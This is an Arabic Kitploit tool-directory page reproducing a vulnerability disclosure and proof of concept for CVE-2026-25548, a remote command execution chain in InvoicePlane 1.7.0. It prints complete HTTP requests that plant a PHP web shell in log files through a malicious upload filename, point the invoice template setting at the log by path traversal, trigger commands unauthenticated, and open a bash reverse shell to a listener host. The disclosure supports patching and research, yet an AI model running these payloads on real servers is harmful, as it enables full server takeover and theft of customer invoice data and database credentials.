Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-25548 — # تفاصيل تقنية وإثبات مفهوم لـ CVE-2026-25548، ثغرة تنفيذ أوامر عن بُعد حرجة في InvoicePlane 1.7.0 عبر تضمين الملفات المحلية وتسميم السجلات، بما في ذلك سلسلة الهجوم وطلبات إثبات المفهوم وتحليل الأثر. | Kitploit
أدوات/GitHubGitHub/lagathos/cve-2026-25548
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمالفريق الأحمر
GitHublagathos/cve-2026-25548

CVE-2026-25548

# تفاصيل تقنية وإثبات مفهوم لـ CVE-2026-25548، ثغرة تنفيذ أوامر عن بُعد حرجة في InvoicePlane 1.7.0 عبر تضمين الملفات المحلية وتسميم السجلات، بما في ذلك سلسلة الهجوم وطلبات إثبات المفهوم وتحليل الأثر.

عرض المستودع
1منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-25548 — تنفيذ الأوامر عن بُعد في InvoicePlane 1.7.0

الثغرة: تنفيذ الأوامر عن بُعد عبر تضمين الملفات المحلية + تسميم السجلات

المنتج: InvoicePlane

الإصدار المتأثر: 1.7.0 (ومن المحتمل الإصدارات السابقة)

الخطورة: حرجة

درجة CVSS 3.1: 9.1 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)

CWE: CWE-98, CWE-117, CWE-94

اكتشفها: Leonidas Agathos

تاريخ التقرير: 2026-01-31


جدول المحتويات

  • الوصف
  • تفاصيل الثغرة
    • 1. تضمين الملفات المحلية (LFI)
    • 2. تسميم السجلات عبر اسم الملف المرفوع
  • سلسلة الهجوم
  • إثبات المفهوم
    • الخطوة 1 — تسميم السجلات
    • الخطوة 2 — تكوين LFI
    • الخطوة 3 — تشغيل RCE
    • الخطوة 4 — الصدفة العكسية
  • الأثر
  • المكونات المتأثرة
  • الجدول الزمني

الوصف

سلسلة ثغرات حرجة في InvoicePlane 1.7.0 تسمح لمسؤول مصادق بتحقيق تنفيذ الأوامر عن بُعد (RCE) على الخادم الأساسي. يجمع الهجوم بين ضعفين:

  1. تضمين الملفات المحلية (LFI) — إعداد قالب الفاتورة العامة يقبل مسارات ملفات عشوائية دون أي تحقق، مما يسمح بتضمين ملفات خارج دليل القوالب المقصود.
  2. تسميم السجلات — أسماء الملفات المرفوعة التي تحتوي على أحرف اجتياز المسار تُكتب حرفيًا في ملفات سجلات CodeIgniter بامتداد .php، مما يسمح بحقن كود PHP عشوائي.

عند دمجها، يمكن لمهاجم بصلاحيات مسؤول تحقيق اختراق كامل للخادم كمستخدم خادم الويب. مشغل RCE النهائي غير مصادق (رابط الفاتورة العامة).


تفاصيل الثغرة

1. تضمين الملفات المحلية (LFI)

السمةالقيمة
الملفapplication/modules/guest/controllers/View.php
الأسطر85, 191
المعاملpublic_invoice_template (إعداد قاعدة البيانات)
CWECWE-98: تحكم غير صحيح في اسم الملف لعبارة Include/Require

الكود المعرض للثغرة (View.php:85):

root@kitploit:~
$this->load->view('invoice_templates/public/' .
    get_setting('public_invoice_template') . '.php', $data);

الكود المعرض للثغرة (View.php:191):

root@kitploit:~
$this->load->view('quote_templates/public/' .
    get_setting('public_quote_template') . '.php', $data);

يتم استرداد إعدادات public_invoice_template و public_quote_template من قاعدة البيانات وربطها مباشرة في مسار ملف يُمرر إلى load->view() الخاص بـ CodeIgniter (والذي يتحول إلى include() في PHP). لا يوجد أي تحقق من:

  • منع تسلسلات اجتياز الدليل (../)
  • القائمة البيضاء لأسماء القوالب المسموحة
  • التأكد من وجود الملف داخل دليل القوالب المتوقع

يمكن للمسؤول تعيين هذه القيمة إلى أي مسار على نظام الملفات، مقيدًا فقط بامتداد .php الذي يُضاف تلقائيًا.


2. تسميم السجلات عبر اسم الملف المرفوع

السمةالقيمة
الملفapplication/modules/upload/controllers/Upload.php
الأسطر178–184
المعاملاسم الملف المرفوع (بيانات نموذج HTTP متعدد الأجزاء)
CWECWE-117: تحييد مخرجات غير صحيح للسجلات

الكود المعرض للثغرة (Upload.php:178-184):

root@kitploit:~
private function sanitize_file_name(string $filename): string
{
    if (str_contains($filename, '..')
        || str_contains($filename, '/')
        || str_contains($filename, '\\')
        || str_contains($filename, "\0")) {
        log_message('error', 'Path traversal attempt detected in filename: ' . $filename);
        return '';
    }
    // ...
}

عندما يؤدي اسم الملف إلى تشغيل فحص اجتياز المسار، يتم كتابة اسم الملف الخام غير المعقم مباشرة في ملف السجل. ملفات سجلات CodeIgniter:

  • تستخدم امتداد .php: application/logs/log-YYYY-MM-DD.php
  • تبدأ بـ <?php defined('BASEPATH') OR exit('No direct script access allowed'); ?>
  • وبالتالي فهي ملفات PHP صالحة يتم تنفيذها عند تضمينها

المهاجم الذي يضمّن <?php system($_GET[1]); ?> في اسم الملف يتسبب في كتابة هذا الحمولة في السجل وتنفيذه لاحقًا عبر LFI.


سلسلة الهجوم

root@kitploit:~
[مستخدم مصادق]  →  رفع اسم ملف خبيث  →  حقن PHP في ملف السجل
[مسؤول]               →  تعيين إعداد القالب        →  LFI يشير إلى ملف السجل
[أي شخص]              →  زيارة رابط الفاتورة العامة    →  RCE
الخطوةالمتطلب
تسميم السجلاتمستخدم مصادق بصلاحية رفع الملفات
تكوين LFIحساب مسؤول
مشغل RCEغير مصادق (رابط الفاتورة العامة)

إثبات المفهوم

الخطوة 1 — تسميم السجلات

أرسل طلب رفع ملف مع قشرة ويب PHP مضمّنة في اسم الملف. سيعمل فحص اجتياز المسار ويكتب اسم الملف الخام (بما في ذلك حمولة PHP) إلى ملف السجل.

الطلب (عبر Burp Suite):

root@kitploit:~
POST /index.php/upload/upload_file/3/13phvCzZiPyOXKYeJBk084jHL5NTGn9d HTTP/1.1
Host: 172.25.0.12
Cookie: ip_csrf_cookie=...; ip_session=...
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="_ip_csrf"

<csrf_token>
------Boundary
Content-Disposition: form-data; name="file"; filename="..<?php system($_GET[1]); ?>.jpg"
Content-Type: image/jpeg

test
------Boundary--

يرفض الخادم الرفع (upload_error_invalid_extension) ولكن إدخال السجل يُكتب بالفعل:

النتيجة في application/logs/log-2026-01-31.php:

root@kitploit:~
ERROR - 2026-01-31 10:35:06 --> Path traversal attempt detected in filename: ..<?php system($_GET[1]); ?>.jpg

انتقل إلى قسم المرفقات في فاتورة وانقر على إضافة ملفات للوصول إلى نقطة نهاية الرفع.

الخطوة 1أ - نقطة إدخال رفع مرفقات الفاتورة

الخطوة 1ب - حقن حمولة PHP عبر اسم ملف خبيث

الخطوة 1ج - ملف السجل يعرض حمولة PHP المحقونة


الخطوة 2 — تكوين LFI

كمسؤول، قم بتعيين إعداد public_invoice_template للإشارة إلى ملف سجل اليوم باستخدام حمولة اجتياز المسار. مُحمّل العرض في CodeIgniter يضيف .php تلقائيًا.

الطلب (عبر Burp Suite):

root@kitploit:~
POST /index.php/settings HTTP/1.1
Host: 172.25.0.12
Cookie: ip_csrf_cookie=...; ip_session=<admin_session>
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="settings[public_invoice_template]"

../../../logs/log-2026-01-31
------Boundary--

يتم حل مسار الاجتياز من application/views/invoice_templates/public/ إلى application/logs/، ثم يتضمن log-2026-01-31.php.

الخطوة 2 - تعيين public_invoice_template إلى مسار ملف السجل عبر Burp Suite


الخطوة 3 — تشغيل RCE

قم بالوصول إلى أي رابط فاتورة عامة مع تمرير أمر كمعامل GET 1. لا يتطلب ذلك أي مصادقة.

الطلب:

root@kitploit:~
GET /index.php/guest/view/invoice/<invoice_url_key>?1=id HTTP/1.1
Host: 172.25.0.12

الاستجابة (في مصدر الصفحة):

root@kitploit:~
Path traversal attempt detected in filename: ..uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)
.jpg

حمولة system($_GET[1]) تنفذ أمر id وينعكس مخرجه مباشرة في الصفحة.

الخطوة 3 - مخرجات الأمر منعكسة في استجابة HTTP عبر رابط الفاتورة العامة


الخطوة 4 — الصدفة العكسية

استبدل الأمر بحمولة صدفة عكسية bash للحصول على صدفة تفاعلية:

root@kitploit:~
GET /index.php/guest/view/invoice/<invoice_url_key>?1=bash+-c+'bash+-i+>%26+/dev/tcp/192.168.25.131/4444+0>%261' HTTP/1.1

على جهاز المهاجم:

root@kitploit:~
nc -lnvp 4444

النتيجة:

root@kitploit:~
connect to [192.168.25.131] from (UNKNOWN) [172.25.0.11] 43360
www-data@0dd592f7a424:~/projects/invoiceplane$

صدفة تفاعلية كاملة كمستخدم www-data.

الخطوة 4 - صدفة عكسية تم إنشاؤها تؤكد RCE كامل


الأثر

البُعدالتقييمالتفاصيل
السريةعالٍوصول قراءة كامل لجميع الملفات المتاحة لمستخدم خادم الويب، بما في ذلك بيانات اعتماد قاعدة البيانات وبيانات فواتير العملاء
السلامةعالٍكتابة ملفات عشوائية، تعديل قاعدة البيانات، تثبيت قشرة ويب
التوفرعالٍرفض الخدمة، نشر برامج الفدية، تدمير النظام

المكونات المتأثرة

الملفالثغرة
application/modules/guest/controllers/View.php:85LFI — قالب الفاتورة
application/modules/guest/controllers/View.php:191LFI — قالب عرض السعر
application/modules/upload/controllers/Upload.php:182تسميم السجلات
application/modules/settings/controllers/Settings.phpلا يوجد تحقق على إعداد القالب

الجدول الزمني

التاريخالحدث
2026-01-30اكتشاف الثغرة
2026-01-31تطوير إثبات المفهوم
2026-01-31إخطار البائع
2026-02-03إقرار البائع
2026-02-03إصدار التصحيح
2026-02-04الكشف العام

المراجع

  • CWE-98: تحكم غير صحيح في اسم الملف لعبارة Include/Require
  • CWE-117: تحييد مخرجات غير صحيح للسجلات
  • CWE-94: تحكم غير صحيح في توليد الكود
  • OWASP: اجتياز المسار
  • OWASP: حقن السجلات
  • CVE-2026-25548

إخلاء المسؤولية

تم اكتشاف هذه الثغرة أثناء بحث أمني مستقل. جميع المعلومات مقدمة strictly للأغراض التعليمية والبحثية والدفاعية لمساعدة البائع ومجتمع الأمن في فهم المشكلة ومعالجتها. أي استخدام خبيث لهذه المعلومات محظور تمامًا.

تنزيل الأداة